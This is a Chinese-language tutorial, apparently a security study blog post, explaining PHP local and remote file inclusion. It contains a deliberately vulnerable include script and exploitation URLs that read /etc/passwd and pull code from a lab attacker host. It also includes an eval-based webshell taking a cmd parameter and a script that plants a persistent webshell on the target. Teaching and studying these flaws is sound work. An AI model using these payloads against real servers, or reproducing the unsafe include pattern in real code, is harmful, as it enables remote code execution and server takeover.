文件包含漏洞(1),文件包含漏洞的利用原理

文件包含漏洞利用的原理

一, 本地文件包含

1. 漏洞利用条件:

在默认情况下, php.ini配置文件中 allow_url_fopen=On 是开启状态.

服务器php脚本中的 include include_once require require_once 等函数用于包含文件中的代码, 如果参数是用户可控的, 则可能被利用来执行系统命令或执行恶意代码. 例如:

http://192.168.112.200/security/fileinc.php

php 复制代码
<?php
$filename = $_GET['filename'];
include $filename;    // 或include_once, require, require_once
echo "<hr>欢迎来到PHP的世界.<br>";
?>

这里GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

2. 利用方式
py 复制代码
读取系统文件
http://192.168.112.200/security/fileinc.php?filename=/etc/passwd
渲染html页面
http://192.168.112.200/security/fileinc.php?filename=login.html

二, 远程文件包含

1. 漏洞利用条件:

在默认情况下, php.ini配置文件中 allow_url_include=Off 是关闭状态.

如果该项配置被打开, 且include参数是用户可控的, 则可能被用于执行攻击者服务器上的恶意代码.

2. 利用方式:

假设 192.168.112.201 是攻击者的服务器

2.1 直接执行远程php代码
py 复制代码
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.201/security/test/mm.php
2.2 包含远程木马代码, 提交参数执行命令

木马文件: http://192.168.112.201/security/test/mm2.txt:

php 复制代码
<?php @eval($_GET['cmd']); ?>

注意包含恶意代码的文件后缀名是txt, 而不是php.

因为我们需要的是把mm2.txt文件中代码包含到目标fileinc.php当中去执行, 而不是在192.168.112.201上面直接执行php脚本.

包含远程脚本代码, 提交参数执行命令

py 复制代码
http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.201/security/test/mm2.txt&cmd=phpinfo();

http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.200/security/test/mm2.txt&cmd=system("ifconfig");

此时 &cmd=phpinfo(); 这里是提交的参数, 目标服务器经过包含mm2.txt文件内的代码之后, 即可执行参数中的命令.

2.3 通过远程php脚本将恶意代码写入到目标服务器.

木马文件: http://192.168.112.201/security/test/mm3.php:

php 复制代码
<?php 
$code = '<?php @eval($_GET["cmd"]); ?>';
file_put_contents("test/mm3_in.php", $code);
?>

以上代码在目标服务器test/目录下创建一个mm3_in.php木马文件.

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.200/security/test/mm3.txt

执行成功后, 即可利用mm3_in.php:

py 复制代码
http://192.168.112.200/security/test/mm3_in.php?cmd=phpinfo();
相关推荐
vortex51 天前
HackMyVm靶机Artig复盘
linux·渗透测试·靶机·hmv
网络安全许木2 天前
自学渗透测试第30天(第一阶段总结与Metasploitable3部署)
网络安全·渗透测试
网络安全许木3 天前
自学渗透测试第29天(Linux SUID/SGID基础实验)
linux·运维·服务器·web安全·渗透测试
合天网安实验室4 天前
记录一个免杀的php webshell demo
渗透测试·php·webshell·免杀
网络安全许木4 天前
自学渗透测试第28天(协议补漏与FTP抓包)
运维·服务器·网络安全·渗透测试·php
世界尽头与你5 天前
FastAPI Swagger Api 接口未授权访问漏洞
安全·网络安全·渗透测试·fastapi
能年玲奈喝榴莲牛奶5 天前
OfficeWeb365 SaveDraw 任意文件上传漏洞
安全·web安全·渗透测试·漏洞复现
网络安全许木5 天前
自学渗透测试第27天(基础补漏与工具的快捷键)
网络安全·渗透测试
锐速网络5 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
锐速网络6 天前
云主机安全:漏洞扫描、渗透测试与加固指南
渗透测试·云安全·云原生安全·漏洞扫描·运维安全·云主机安全·云主机加固